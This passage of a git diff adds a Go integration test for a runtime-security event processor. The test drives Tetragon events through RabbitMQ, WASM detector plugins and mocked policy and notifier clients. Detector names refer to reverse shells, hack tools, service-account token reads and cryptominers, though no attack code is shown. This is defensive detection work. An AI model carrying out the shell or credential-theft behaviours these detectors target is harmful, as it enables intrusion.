testCfg.PostgresUser, + testCfg.PostgresPassword, + testCfg.PostgresSSLMode, + testCfg.PostgresSSLCheckCert, + ) + if err != nil { + log.Fatal().Msgf("### Failed to open DB: %v", err) + } + if err := database.Migrate(db, true); err != nil { + log.Fatal().Msgf("### Failed to migrate DB: %v", err) + } + + // RabbitMQ — runtime_events publisher (tests publish events here; the + // production Consumer below pulls them off). + runtimePublisher, err = rabbit.NewMessageBroker( + testCfg.RabbitAddr, + testCfg.RabbitUser, + testCfg.RabbitPassword, + testCfg.RabbitRuntimeEventsQueue, + ) + if err != nil { + log.Fatal().Msgf("### Failed to initialize runtime publisher: %v", err) + } + + // runtime_events consumer broker — what the production Consumer reads + // from. Same wiring as production main(): WithConsumer + a prefetch + // count. + runtimeConsumerMB, err := rabbit.NewMessageBroker( + testCfg.RabbitAddr, + testCfg.RabbitUser, + testCfg.RabbitPassword, + testCfg.RabbitRuntimeEventsQueue, + rabbit.WithConsumer("event-processor-test", testCfg.RabbitRuntimeEventsQueuePrefetchCount), + ) + if err != nil { + log.Fatal().Msgf("### Failed to initialize runtime consumer broker: %v", err) + } + + // history broker — the worker pool publishes RuntimeEvents here; the + // in-test consumer below reads them. + historyMB, err := rabbit.NewMessageBroker( + testCfg.RabbitAddr, + testCfg.RabbitUser, + testCfg.RabbitPassword, + testCfg.RabbitHistoryEventsQueue, + ) + if err != nil { + log.Fatal().Msgf("### Failed to initialize history broker: %v", err) + } + + // In-test history-queue consumer. We open a separate amqp connection + // here (not via lib/rabbit, which assumes proto-binary Consume) so we + // have raw amqp.Delivery handles to feed into helpers_test.go's + // drainHistoryEvent. + historyConn, historyChan, historyDeliveriesIn, err := openHistoryConsumer(testCfg) + if err != nil { + log.Fatal().Msgf("### Failed to open history consumer: %v", err) + } + historyConsumeChannel = historyChan + historyDeliveries = make(chan amqp.Delivery, 64) + + // Funnel: forward deliveries into the buffered package channel so a + // slow subtest can't block the amqp consumer goroutine. + go func() { + for d := range historyDeliveriesIn { + select { + case historyDeliveries <- d: + default: + // Channel full: drop silently. Tests that care + // will purge before publishing; the smoke test + // exercises the happy path with one outstanding + // delivery. + log.Warn().Msgf("history delivery dropped — buffered channel full") + } + } + }() + + // Mocks. We pass a noopTester (rather than *testing.T from m.Run's + // per-test instances) because the mocks live for the whole TestMain + // process — a per-test Tester would attach a Cleanup hook to the wrong + // scope. Per-fixture subtests reset call recorders via t.Cleanup; + // nothing here needs minimock's Fatal/Errorf wiring. + tester := &noopTester{} + enforcerMock = client.NewEnforcerClientMock(tester) + notifierMock = client.NewNotifierClientMock(tester) + + // Detector plugin (wazero host). Same construction path as production + // main() so the seed-and-load codepath is byte-identical to prod. + plugin, err := detector.NewPlugin(context.Background()) + if err != nil { + log.Fatal().Msgf("### Failed to instantiate detector plugin: %v", err) + } + + // Seed Postgres with the compiled WASM blobs. Production seed path. + if err := ensureDetectors(db, plugin, testCfg.DeployDir); err != nil { + log.Fatal().Msgf("### ensureDetectors failed: %v", err) + } + // Sanity: confirm we actually inserted some detectors. This catches a + // stale or empty deploy/ directory before any subtest runs. + repo := &database.DetectorDatabase{DB: db} + if count, err := repo.GetCount(context.Background(), nil); err != nil { + log.Fatal().Msgf("### Failed to count detectors: %v", err) + } else if count == 0 { + log.Fatal().Msgf("### ensureDetectors produced 0 rows; deploy dir %q is empty", testCfg.DeployDir) + } + + // Worker pool with poolSize=1 requested; processor.NewWorkersPool + // enforces minPoolSize=2, so two workers actually run. That's fine for + // these tests because the per-fixture purgeQueue + drainPending barriers + // already isolate one fixture from the next, and HistoryControl=ALL + // guarantees one history-queue publish per processed event. + // + // Inlined from getPool() in main.go (load bins, load config, build pool) + // so we can pass processor.WithReports(). Reports are consumed by the + // pre-warm loop below to detect when each worker has finished its initial + // getMatcher() call — see comment on the pre-warm block. + configRepo := &database.ConfigDatabase{DB: db} + bins, err := repo.GetAllBins(context.Background(), nil) + if err != nil { + log.Fatal().Msgf("### Failed to get detector bins: %v", err) + } + poolCfg, err := configRepo.GetLast(context.Background(), true) + if err != nil { + log.Fatal().Msgf("### Failed to get last config: %v", err) + } + pool, err := processor.NewWorkersPool( + 1, /* poolSize (clamped to minPoolSize=2 by NewWorkersPool) */ + testCfg.JobsBufferSize, + historyMB, + plugin, + enforcerMock, + notifierMock, + bins, + poolCfg, + processor.WithReports(), + ) + if err != nil { + log.Fatal().Msgf("### Failed to initialize workers pool: %v", err) + } + + // Force HistoryControl=ALL so that every processed event publishes a + // history-queue message regardless of detection outcome. That is the + // sync point used by the smoke test and the per-detector matrix. + cfg := pool.Config() + cfg.Config.HistoryControl = runtime_event.Config_ConfigJSON_ALL + pool.SetConfig(cfg) + + // Pre-warm: each worker's first getMatcher() call compiles every WASM + // blob via a fresh wazero.Runtime, which on slow CI runners can take + // several minutes per worker (observed: 4m22s and 4m15s on a GitLab + // runner). Without gating, that compile cost is paid against the smoke + // test's 3-minute historyDrainDeadline and the per-fixture 30s deadline + // in TestDetectorPipeline, producing flaky timeouts. Drip-publish empty + // jobs into pool.Jobs() and observe pool.Reports() — a Report from + // worker[id] proves that worker is past getMatcher and inside its select + // loop. Tickered publishing prevents the faster worker from claiming + // every event before the slower one finishes compiling. + const expectedWorkers = 2 // matches processor.minPoolSize after clamp + const prewarmTimeout = 10 * time.Minute + + log.Info().Int("expected_workers", expectedWorkers).Msg("pre-warm: waiting for matcher initialization") + prewarmStart := time.Now() + seen := make(map[int]struct{}, expectedWorkers) + prewarmTicker := time.NewTicker(500 * time.Millisecond) + prewarmDeadline := time.After(prewarmTimeout) + emptyEvent := &tetragon.GetEventsResponse{} + + for len(seen) < expectedWorkers { + select { + case <-prewarmDeadline: + log.Fatal().Msgf("### matcher pre-warm timed out after %v; saw workers=%v", prewarmTimeout, seen) + case r := <-pool.Reports(): + if _, dup := seen[r.ID]; !dup { + log.Info().Int("worker_id", r.ID).Dur("elapsed", time.Since(prewarmStart)).Msg("pre-warm: worker matcher ready") + } + seen[r.ID] = struct{}{} + case <-prewarmTicker.C: + select { + case pool.Jobs() <- emptyEvent: + default: + // jobs buffer full — workers will drain. Skip this tick. + } + } + } + prewarmTicker.Stop() + log.Info().Dur("total", time.Since(prewarmStart)).Msg("pre-warm: all matchers initialized") + + // Drain Reports() for the rest of the test process. Without this, each + // worker's report-send blocks for the 10ms reportTimeout in + // processor.worker.go before the report is dropped, accumulating against + // per-fixture deadlines. + go func() { + //revive:disable:empty-block + for range pool.Reports() { + } + }() + + // Start the production consumer (reads runtime_events, feeds the + // worker pool). Stop channel is closed in teardown. + consumerStop := make(chan struct{}) + go (&consumer.Consumer{ + PublishConsumer: runtimeConsumerMB, + Processor: pool, + }).Run(consumerStop) + + // gRPC server, same wiring as production. + lis, err := net.Listen("tcp", listenGRPCAddr) + if err != nil { + log.Fatal().Msgf("### Failed to listen: %v", err) + } + + opts := []grpc.ServerOption{ + grpc.ChainUnaryInterceptor(interceptor.Recovery, interceptor.Correlation), + } + grpcSrv := grpc.NewServer(opts...) + + // Auth disabled in tests; pass nil verifier and false. composeServices + // in main.go handles this branch. + configSvc, detectorSvc := composeServices(db, pool, plugin, nil, false) + runtime_event.RegisterConfigControllerServer(grpcSrv, configSvc) + runtime_event.RegisterDetectorControllerServer(grpcSrv, detectorSvc) + reflection.Register(grpcSrv) + + go func() { + // Serve returns nil on GracefulStop and grpc.ErrServerStopped on + // Stop. We don't want a non-fatal Serve error from a racing + // teardown to override m.Run's exit code via log.Fatal — log it + // at error level instead. + if err := grpcSrv.Serve(lis); err != nil && !errors.Is(err, grpc.ErrServerStopped) { + log.Error().Msgf("gRPC Serve returned: %v", err) + } + }() + + // Run tests. + res := m.Run() + + // Teardown. Order is important: + // 1. Stop the production Consumer goroutine first so no new events + // are pushed into the worker pool's jobs channel. + // 2. Close the worker pool — this closes wp.fire and waits for all + // workers to drain in-flight jobs and exit. + // 3. Stop the gRPC server. + // 4. Close downstream rabbit connections / DB. + // Closing the pool BEFORE the consumer would race: the consumer + // goroutine would still be writing to wp.jobs after workers stopped + // reading, leaking that goroutine. + close(consumerStop) + pool.Close() + grpcSrv.GracefulStop() + _ = runtimePublisher.Close() + _ = runtimeConsumerMB.Close() + _ = historyMB.Close() + _ = historyChan.Close() + _ = historyConn.Close() + _ = closeDB() + + // Manually invoke the package-level mocks' MinimockFinish hooks now + // that no more pipeline activity will touch them. The mocks were + // constructed with a noopTester whose Cleanup intentionally drops the + // hook (Cleanup on a TestMain-scoped mock has nowhere sensible to + // attach), so we run finishers explicitly here. Subtests in + // TestDetectorPipeline configure mocks via Set() rather than + // expectations, so under normal operation these calls have nothing to + // verify; they exist to surface a future When/Return-based fixture + // regression where invocation counts ARE checked. + enforcerMock.MinimockFinish() + notifierMock.MinimockFinish() + + os.Exit(res) +} + +// openHistoryConsumer opens a dedicated amqp connection + channel and starts +// a consumer on the history_events queue. It returns the connection (so the +// caller can close it on teardown), the channel (so the caller can purge the +// queue between subtests), and the raw delivery channel. +// +// We bypass lib/rabbit here because lib/rabbit.Consume is proto-aware and +// auto-acks on receive; tests want raw amqp.Delivery values so they can use +// existing helpers (helpers_test.go). +func openHistoryConsumer(cfg *config.Config) (*amqp.Connection, *amqp.Channel, <-chan amqp.Delivery, error) { + url := "amqp://" + cfg.RabbitUser + ":" + cfg.RabbitPassword + "@" + cfg.RabbitAddr + conn, err := amqp.Dial(url) + if err != nil { + return nil, nil, nil, err + } + + ch, err := conn.Channel() + if err != nil { + _ = conn.Close() + return nil, nil, nil, err + } + + // Declare the queue with the same parameters the production + // MessageBroker uses (durable=true, autoDelete=false, exclusive=false, + // noWait=false). Idempotent if the queue already exists with matching + // settings. + if _, err := ch.QueueDeclare(cfg.RabbitHistoryEventsQueue, true, false, false, false, nil); err != nil { + _ = ch.Close() + _ = conn.Close() + return nil, nil, nil, err + } + + // autoAck=true to keep the test code simple. Tests in this package do + // not need at-least-once redelivery semantics. + deliveries, err := ch.Consume( + cfg.RabbitHistoryEventsQueue, + "event-processor-test-history", + true, /* autoAck */ + false, /* exclusive */ + false, /* noLocal */ + false, /* noWait */ + nil, + ) + if err != nil { + _ = ch.Close() + _ = conn.Close() + return nil, nil, nil, err + } + + return conn, ch, deliveries, nil +} + +// TestServerBootsAndConsumesNoOpEvent is the smoke test that proves the full +// pipeline (TestMain bootstrap → publish → Consumer → WorkersPool → history) +// is alive before the per-detector matrix runs. +// +// We publish an empty *tetragon.GetEventsResponse (no events embedded) to +// runtime_events. The production Consumer reads it; the worker pool's +// detector chain runs (no detectors fire because there's no body); a single +// RuntimeEvent is still emitted because we pinned HistoryControl=ALL in +// TestMain. The test asserts that the RuntimeEvent surfaces on +// history_events within historyDrainDeadline. +// +// If this test fails, something in the bootstrap is broken — wrong queue +// names, mocks not wired, history publish path skipped, etc. +func TestServerBootsAndConsumesNoOpEvent(t *testing.T) { + // Purge both queues before draining buffered deliveries: stale messages + // from a prior crashed run could otherwise be drained and mistaken for + // the smoke test's own publish. drainPending after purgeQueue ensures + // any in-flight delivery the funnel goroutine forwarded to the buffered + // channel is also discarded. + purgeQueue(t, historyConsumeChannel, testCfg.RabbitRuntimeEventsQueue) + purgeQueue(t, historyConsumeChannel, testCfg.RabbitHistoryEventsQueue) + drainPending() + + // Publish an empty event. + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + + if err := runtimePublisher.Publish(ctx, &tetragon.GetEventsResponse{}); err != nil { + t.Fatalf("publish empty event: %v", err) + } + + // Block on history_events with the configured deadline. drainHistoryEvent + // (helpers_test.go) handles unmarshalling and timeout reporting. + ev := drainHistoryEvent(t, context.Background(), historyDeliveries, historyDrainDeadline) + if ev == nil { + // drainHistoryEvent already called t.Fatalf, but the early + // return keeps the type checker happy. + return + } + + // Sanity: the RuntimeEvent should have an Id and a TetragonVersion set + // (the worker stamps these unconditionally). + if ev.GetId() == "" { + t.Errorf("RuntimeEvent.Id empty") + } + if ev.GetTetragonVersion() == "" { + t.Errorf("RuntimeEvent.TetragonVersion empty") + } + + // Confirm the empty path: no threats, not an incident. + if got := len(ev.GetThreats()); got != 0 { + t.Errorf("RuntimeEvent.Threats: got %d, want 0", got) + } + if ev.GetIsIncident() { + t.Errorf("RuntimeEvent.IsIncident: got true, want false") + } + + // Sanity: the embedded tetragon event round-trips. This catches a + // future regression where the Consumer or worker drops the original + // event payload. + if ev.GetEvent() == nil { + t.Errorf("RuntimeEvent.Event nil; want round-tripped tetragon.GetEventsResponse") + } else { + // Make sure proto.Marshal works on it (i.e. it's a valid + // proto), even if all fields are zero-valued. + if _, err := proto.Marshal(ev.GetEvent()); err != nil { + t.Errorf("marshal embedded tetragon event: %v", err) + } + } +} + +// drainPending non-blockingly removes any history deliveries already +// buffered at the time of the call. Called at the start of subtests that +// need a clean baseline. It does NOT wait for new deliveries. +func drainPending() { + for { + select { + case <-historyDeliveries: + default: + return + } + } +} + +// noopTester satisfies minimock.Tester for the long-lived package-level +// mock instances constructed in TestMain. Per-subtest assertions read +// recorded call args directly from the mock structs; minimock's own +// pass/fail wiring (which would need a *testing.T) is not used. +// +// Calls that minimock-generated code routes through Tester are funneled +// into the package logger so that genuine misuse (e.g. an unconfigured mock +// being invoked) shows up in test output without aborting TestMain. +type noopTester struct{} + +func (n *noopTester) Fatal(args ...interface{}) { + log.Error().Msgf("noopTester.Fatal: %v", args) +} +func (n *noopTester) Fatalf(format string, args ...interface{}) { + log.Error().Msgf("noopTester.Fatalf: "+format, args...) +} +func (n *noopTester) Error(args ...interface{}) { + log.Error().Msgf("noopTester.Error: %v", args) +} +func (n *noopTester) Errorf(format string, args ...interface{}) { + log.Error().Msgf("noopTester.Errorf: "+format, args...) +} +func (n *noopTester) FailNow() {} +func (n *noopTester) Cleanup(_ func()) {} +func (n *noopTester) Helper() {} + +// TestDetectorPipeline is the per-detector regression matrix. It discovers +// every fixture under event-processor/detector/wasm//testdata/, publishes +// its tetragon event through the production pipeline, and asserts that the +// captured downstream-mock invocations and history-queue payload match the +// fixture's expectations. +// +// Subtests are nested t.Run(detectorID, ...) → t.Run(filename, ...) so a +// failing fixture surfaces with a fully-qualified name like +// +// TestDetectorPipeline/PTCS_RT_REVERSE_SHELL_CREATE/positive_socket_dup2.json +// +// The matrix is run sequentially (no t.Parallel) because all subtests share +// the package-level mock instances and the single history-queue Go channel. +// +// Per-fixture lifecycle: +// 1. Reset all three mocks via fresh Set closures that capture invocations +// into per-subtest slices. +// 2. Purge runtime_events / history_events queues and drain the buffered +// historyDeliveries channel of any leftover payloads. +// 3. Publish the fixture's wire bytes to runtime_events. +// 4. Block on historyDeliveries (drainHistoryEvent) for the produced +// RuntimeEvent. +// 5. Run the four assertion helpers from helpers_test.go against the +// captured calls and the drained event. +func TestDetectorPipeline(t *testing.T) { + fixtures, err := discoverFixtures() + if err != nil { + t.Fatalf("discoverFixtures: %v", err) + } + if len(fixtures) == 0 { + t.Fatal("discoverFixtures: no fixtures found under detector/wasm/*/testdata") + } + + // Group by detector id (parent directory name). discoverFixtures returns + // fixtures already sorted lexicographically, so per-group ordering is + // deterministic without an additional sort.Strings on each slice — only + // detectorIDs needs sorting because Go map iteration order is random. + groups := make(map[string][]string, 32) + for _, p := range fixtures { + id := filepath.Base(filepath.Dir(filepath.Dir(p))) + groups[id] = append(groups[id], p) + } + detectorIDs := make([]string, 0, len(groups)) + for id := range groups { + detectorIDs = append(detectorIDs, id) + } + sort.Strings(detectorIDs) + + // Aggregate counters logged at the end of the run. Reported even if a + // subtest fails (t.Fatalf in a subtest does not unwind the parent + // TestDetectorPipeline goroutine). There is no skip path today (every + // fixture under detector/wasm//testdata is run), so no totalSkipped + // counter is wired up. + var ( + totalRun int + totalPassed int + totalFailed int + ) + + t.Cleanup(func() { + // Final cleanup at the end of the matrix: leave the queues + // empty for any subsequent test in the package. + drainPending() + if historyConsumeChannel != nil { + _, _ = historyConsumeChannel.QueuePurge(testCfg.RabbitRuntimeEventsQueue, false) + _, _ = historyConsumeChannel.QueuePurge(testCfg.RabbitHistoryEventsQueue, false) + } + t.Logf("TestDetectorPipeline summary: detectors=%d fixtures=%d run=%d passed=%d failed=%d", + len(detectorIDs), len(fixtures), totalRun, totalPassed, totalFailed) + }) + + // Per-fixture deadline. WASM compilation cost is amortized by the + // smoke test in TestServerBootsAndConsumesNoOpEvent; subsequent events + // hit the wazero compilation cache and complete in well under a + // second. 30s is a generous belt-and-braces value. + const perFixtureDeadline = 30 * time.Second + + for _, detectorID := range detectorIDs { + paths := groups[detectorID] + + t.Run(detectorID, func(t *testing.T) { + t.Logf("starting detector_id: %s", detectorID) + for _, path := range paths { + name := filepath.Base(path) + + t.Run(name, func(t *testing.T) { + totalRun++ + runFixtureSubtest(t, path, perFixtureDeadline) + if t.Failed() { + totalFailed++ + } else { + totalPassed++ + } + }) + } + }) + } +} + +// runFixtureSubtest executes one fixture against the running pipeline. All +// assertion failures are reported through the supplied *testing.T; callers +// should consult t.Failed() (after the subtest returns) to decide whether +// the fixture passed. +// +// Coverage gap: every on-disk fixture currently has policy_response: null, +// so buildPolicyResponse always returns nil and the doJob branches that +// call wp.podController.Kill / wp.notify are not exercised by this matrix. +// The KillPod/Notify mock recorders are wired regardless so that a future +// BLOCK or NOTIFY fixture can assert the expected dispatches without code +// changes here. Note also that NOTIFY rules built by buildPolicyResponse +// have an empty Targets slice — when a NOTIFY fixture is added, it must +// either populate Targets in the canned response or assert zero +// notifications (notifier.go:75 iterates over Targets, producing zero +// Notify calls otherwise). +// +// Concurrency note: NewWorkersPool clamps requested poolSize=1 up to +// minPoolSize=2, so two worker goroutines compete for jobs from the +// shared channel. Per-fixture isolation is achieved by purging both +// queues + draining the buffered deliveries channel before each publish, +// and by relying on HistoryControl=ALL to produce exactly one history +// publish per processed event (the deterministic sync barrier this test +// blocks on). Any stale message is therefore caught and discarded +// before runFixtureSubtest's own Publish call. +func runFixtureSubtest(t *testing.T, path string, deadline time.Duration) { + t.Helper() + + fx := loadFixture(t, path) + + // Per-subtest call recorders. Closures registered with the mocks + // append into these slices; the assertion helpers read them after + // drainHistoryEvent unblocks. + var ( + policyCalls []*enforcer_api.EvaluatePolicyRuntimeEventReq + notifyCalls []*notifier_api.NotifyReq + callsMutex sync.Mutex + ) + + // Build the canned policy-enforcer response from the fixture. + policyResp := buildPolicyResponse(fx.PolicyResponse) + + // Wire mocks. Each Set replaces the previous funcXxx — minimock allows + // repeated Set calls without producing a stale-expectation error + // because Set does not populate defaultExpectation/expectations. + mocksMu.Lock() + enforcerMock.EvaluatePolicyRuntimeEventMock.Set( + func(_ context.Context, in *enforcer_api.EvaluatePolicyRuntimeEventReq, _ ...grpc.CallOption) (*enforcer_api.EvaluatePolicyRuntimeEventReq, error) { + callsMutex.Lock() + policyCalls = append(policyCalls, proto.Clone(in).(*enforcer_api.EvaluatePolicyRuntimeEventReq)) + callsMutex.Unlock() + // Build the response: clone the request and overlay + // the per-event policies declared in the fixture. + respClone := proto.Clone(in).(*enforcer_api.EvaluatePolicyRuntimeEventReq) + if policyResp != nil { + for _, ev := range respClone.GetResult().GetEvents() { + ev.Policy = proto.Clone(policyResp).(*enforcer_api.Policy) + } + } + return respClone, nil + }, + ) + notifierMock.NotifyMock.Set( + func(_ context.Context, in *notifier_api.NotifyReq, _ ...grpc.CallOption) (*emptypb.Empty, error) { + callsMutex.Lock() + notifyCalls = append(notifyCalls, proto.Clone(in).(*notifier_api.NotifyReq)) + callsMutex.Unlock() + return &emptypb.Empty{}, nil + }, + ) + mocksMu.Unlock() + + // Reset state before publishing: purge any buffered messages on the + // runtime/history queues FIRST, then drain the buffered Go channel. + // Doing it in this order closes a window where the funnel goroutine + // could still forward an in-flight delivery between drainPending and + // purgeQueue, leaving stale data in historyDeliveries. + purgeQueue(t, historyConsumeChannel, testCfg.RabbitRuntimeEventsQueue) + purgeQueue(t, historyConsumeChannel, testCfg.RabbitHistoryEventsQueue) + drainPending() + + t.Cleanup(func() { + // Best-effort post-fixture cleanup. The next subtest's setup + // will also drain/purge, so this is mostly defensive — it + // keeps the queues empty between fixtures even when the + // driver itself stops iterating early (e.g. on t.Fatalf). + purgeQueue(t, historyConsumeChannel, testCfg.RabbitRuntimeEventsQueue) + purgeQueue(t, historyConsumeChannel, testCfg.RabbitHistoryEventsQueue) + drainPending() + }) + + // Publish the fixture's wire bytes directly via the underlying amqp + // channel. lib/rabbit's MessageBroker.Publish only accepts a + // proto.Message and re-marshals; we already have the wire form on + // disk, and round-tripping through the upstream tetragon proto here + // would mask any encoding drift between protojson and proto.Marshal. + pubCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + if err := publishWire(pubCtx, fx.EventWire); err != nil { + // t.Fatalf calls runtime.Goexit; control never reaches the + // rest of this function. + t.Fatalf("publishWire: %v", err) + } + + // Block on the history queue. drainHistoryEvent always calls t.Fatalf + // before returning nil, so the nil check below is structurally + // unreachable — but keeping the explicit guard makes the data flow + // obvious and matches the smoke test's defensive style. + ev := drainHistoryEvent(t, context.Background(), historyDeliveries, deadline) + if ev == nil { + return + } + + // Snapshot captured calls under the mutex so the assertion helpers + // observe a consistent slice. The history-queue publish that + // drainHistoryEvent unblocks on happens BEFORE worker.go calls + // wp.podController.Kill (worker.go:195) and wp.notify (worker.go:201), + // so KillPod/Notify mock invocations may not yet be visible at this + // point for fixtures that exercise BLOCK/NOTIFY rules. No fixture in + // the on-disk corpus does today (policy_response is null everywhere); + // when one is added, this function will need an additional sync + // barrier (e.g. an explicit await on the killCalls/notifyCalls slice + // length, or a different sync point in worker.go). + callsMutex.Lock() + pCalls := append([]*enforcer_api.EvaluatePolicyRuntimeEventReq(nil), policyCalls...) + nCalls := append([]*notifier_api.NotifyReq(nil), notifyCalls...) + callsMutex.Unlock() + + assertPolicyCall(t, fx.Expect.PolicyCall, pCalls) + assertReasonContains(t, fx.Expect.PolicyCall, ev) + assertTactics(t, fx.Expect.PolicyCall, ev) + assertNotifyCall(t, fx.Expect.NotifyCall, nCalls) + assertHistoryEvent(t, fx.Expect.HistoryEvent, ev) +} + +// discoverFixtures walks event-processor/detector/wasm/*/testdata/*.json +// relative to the test binary's working directory (cmd/event-processor/) and +// returns absolute paths. Fixtures named anything other than the +// positive_*.json / negative_*.json prefixes are silently skipped. +func discoverFixtures() ([]string, error) { + // cmd/event-processor → ../../detector/wasm + root := filepath.Join("..", "..", "detector", "wasm") + + entries, err := os.ReadDir(root) + if err != nil { + return nil, err + } + + var paths []string + for _, e := range entries { + if !e.IsDir() { + continue + } + td := filepath.Join(root, e.Name(), "testdata") + files, err := os.ReadDir(td) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + continue + } + return nil, err + } + for _, f := range files { + if f.IsDir() { + continue + } + name := f.Name() + if filepath.Ext(name) != ".json" { + continue + } + if !strings.HasPrefix(name, "positive_") && !strings.HasPrefix(name, "negative_") { + continue + } + paths = append(paths, filepath.Join(td, name)) + } + } + sort.Strings(paths) + return paths, nil +} + +// buildPolicyResponse converts a fixture's canned policy_response into a +// policy-enforcer Policy proto. Each rule's action ("BLOCK" / "NOTIFY") +// determines whether the rule lands in BlockBy or NotifyBy. Returns nil if +// the fixture declared no canned response, in which case the worker takes +// the "no rule action" path (no Notify, no KillPod). +func buildPolicyResponse(fr *fixturePolicyResponse) *enforcer_api.Policy { + if fr == nil || len(fr.Rules) == 0 { + return nil + } + out := &enforcer_api.Policy{} + for _, r := range fr.Rules { + ruleID := "" + if r.RuleID != 0 { + ruleID = strconv.FormatUint(r.RuleID, 10) + } + rule := &enforcer_api.Rule{ + Id: ruleID, + Name: r.RuleName, + Type: enforcer_api.Rule_TYPE_RUNTIME, + Rule: &enforcer_api.Rule_RuleJSON{}, + } + switch strings.ToUpper(r.Action) { + case "BLOCK": + rule.Rule.Block = &enforcer_api.Rule_RuleJSON_Block{} + out.BlockBy = append(out.BlockBy, rule) + case "NOTIFY": + rule.Rule.Notify = &enforcer_api.Rule_RuleJSON_Notify{} + out.NotifyBy = append(out.NotifyBy, rule) + default: + // Unknown action — attach to neither slice; the worker + // will treat the rule as a no-op. The fixture is + // almost certainly broken; the calling test will catch + // the resulting expectation mismatch. + log.Warn().Msgf("buildPolicyResponse: unknown action %q on rule %d", r.Action, r.RuleID) + } + } + return out +} + +// publishWire injects raw fixture wire bytes directly onto runtime_events +// using the publisher's underlying amqp channel. We bypass +// lib/rabbit.MessageBroker.Publish because that helper re-marshals through +// proto.Marshal — and we explicitly want the wire bytes from disk, not a +// re-encoded version of them. +func publishWire(ctx context.Context, body []byte) error { + if runtimePublisher == nil || runtimePublisher.Channel == nil { + return errors.New("runtimePublisher is nil or has no channel") + } + return runtimePublisher.Channel.PublishWithContext( + ctx, + "", // default exchange + runtimePublisher.Queue.Name, + false, // mandatory + false, // immediate + amqp.Publishing{ + DeliveryMode: amqp.Persistent, + ContentType: "application/octet-stream", + Body: body, + }, + ) +} diff --git a/event-processor/deploy/CS_RT_BASE64_DECODE_RUN.wasm b/event-processor/deploy/CS_RT_BASE64_DECODE_RUN.wasm index b9e8a3f6..0fbad270 100644 Binary files a/event-processor/deploy/CS_RT_BASE64_DECODE_RUN.wasm and b/event-processor/deploy/CS_RT_BASE64_DECODE_RUN.wasm differ diff --git a/event-processor/deploy/CS_RT_BIN_PERM_RAISE.wasm b/event-processor/deploy/CS_RT_BIN_PERM_RAISE.wasm index 514b7005..21726ab8 100644 Binary files a/event-processor/deploy/CS_RT_BIN_PERM_RAISE.wasm and b/event-processor/deploy/CS_RT_BIN_PERM_RAISE.wasm differ diff --git a/event-processor/deploy/CS_RT_CORE_PATTERN_MODIFY.wasm b/event-processor/deploy/CS_RT_CORE_PATTERN_MODIFY.wasm index ddaf565a..da47125d 100644 Binary files a/event-processor/deploy/CS_RT_CORE_PATTERN_MODIFY.wasm and b/event-processor/deploy/CS_RT_CORE_PATTERN_MODIFY.wasm differ diff --git a/event-processor/deploy/CS_RT_CRYPTOMINER.wasm b/event-processor/deploy/CS_RT_CRYPTOMINER.wasm index be7e9aae..2a96f677 100644 Binary files a/event-processor/deploy/CS_RT_CRYPTOMINER.wasm and b/event-processor/deploy/CS_RT_CRYPTOMINER.wasm differ diff --git a/event-processor/deploy/CS_RT_CVE_2022_0492.wasm b/event-processor/deploy/CS_RT_CVE_2022_0492.wasm index 064366e9..8a56d0a1 100644 Binary files a/event-processor/deploy/CS_RT_CVE_2022_0492.wasm and b/event-processor/deploy/CS_RT_CVE_2022_0492.wasm differ diff --git a/event-processor/deploy/CS_RT_CVE_2025_1974.wasm b/event-processor/deploy/CS_RT_CVE_2025_1974.wasm index e9f6504e..67f7b3fc 100644 Binary files a/event-processor/deploy/CS_RT_CVE_2025_1974.wasm and b/event-processor/deploy/CS_RT_CVE_2025_1974.wasm differ diff --git a/event-processor/deploy/CS_RT_CVE_2026_31431.wasm b/event-processor/deploy/CS_RT_CVE_2026_31431.wasm index c4b627bd..9b0b0dd6 100644 Binary files a/event-processor/deploy/CS_RT_CVE_2026_31431.wasm and b/event-processor/deploy/CS_RT_CVE_2026_31431.wasm differ diff --git a/event-processor/deploy/CS_RT_DOWNLOAD_TOOLS.wasm b/event-processor/deploy/CS_RT_DOWNLOAD_TOOLS.wasm index 98eaef5f..30559f0e 100644 Binary files a/event-processor/deploy/CS_RT_DOWNLOAD_TOOLS.wasm and b/event-processor/deploy/CS_RT_DOWNLOAD_TOOLS.wasm differ diff --git a/event-processor/deploy/CS_RT_FIFO_FILE_CREATE.wasm b/event-processor/deploy/CS_RT_FIFO_FILE_CREATE.wasm index 87e65170..f7f9f67f 100644 Binary files a/event-processor/deploy/CS_RT_FIFO_FILE_CREATE.wasm and b/event-processor/deploy/CS_RT_FIFO_FILE_CREATE.wasm differ diff --git a/event-processor/deploy/CS_RT_FILELESS_EXEC.wasm b/event-processor/deploy/CS_RT_FILELESS_EXEC.wasm index 7bdb7f63..5c547501 100644 Binary files a/event-processor/deploy/CS_RT_FILELESS_EXEC.wasm and b/event-processor/deploy/CS_RT_FILELESS_EXEC.wasm differ diff --git a/event-processor/deploy/CS_RT_HACK_TOOLS.wasm b/event-processor/deploy/CS_RT_HACK_TOOLS.wasm index 5127c88e..e978c088 100644 Binary files a/event-processor/deploy/CS_RT_HACK_TOOLS.wasm and b/event-processor/deploy/CS_RT_HACK_TOOLS.wasm differ diff --git a/event-processor/deploy/CS_RT_HACK_TOOLS_EXT.wasm b/event-processor/deploy/CS_RT_HACK_TOOLS_EXT.wasm deleted file mode 100644 index 469c0a7e..00000000 Binary files a/event-processor/deploy/CS_RT_HACK_TOOLS_EXT.wasm and /dev/null differ diff --git a/event-processor/deploy/CS_RT_HARDLINK_CREATE.wasm b/event-processor/deploy/CS_RT_HARDLINK_CREATE.wasm index e8c48feb..f5d64908 100644 Binary files a/event-processor/deploy/CS_RT_HARDLINK_CREATE.wasm and b/event-processor/deploy/CS_RT_HARDLINK_CREATE.wasm differ diff --git a/event-processor/deploy/CS_RT_IO_URING_CREATE.wasm b/event-processor/deploy/CS_RT_IO_URING_CREATE.wasm index ff8696d2..b9e598d1 100644 Binary files a/event-processor/deploy/CS_RT_IO_URING_CREATE.wasm and b/event-processor/deploy/CS_RT_IO_URING_CREATE.wasm differ diff --git a/event-processor/deploy/CS_RT_K8S_SA_TOKEN_READ.wasm b/event-processor/deploy/CS_RT_K8S_SA_TOKEN_READ.wasm index cbbee171..cfaab1b8 100644 Binary files a/event-processor/deploy/CS_RT_K8S_SA_TOKEN_READ.wasm and b/event-processor/deploy/CS_RT_K8S_SA_TOKEN_READ.wasm differ diff --git a/event-processor/deploy/CS_RT_KERNEL_MODULE.wasm b/event-processor/deploy/CS_RT_KERNEL_MODULE.wasm index 6f3c2346..25bd2599 100644 Binary files 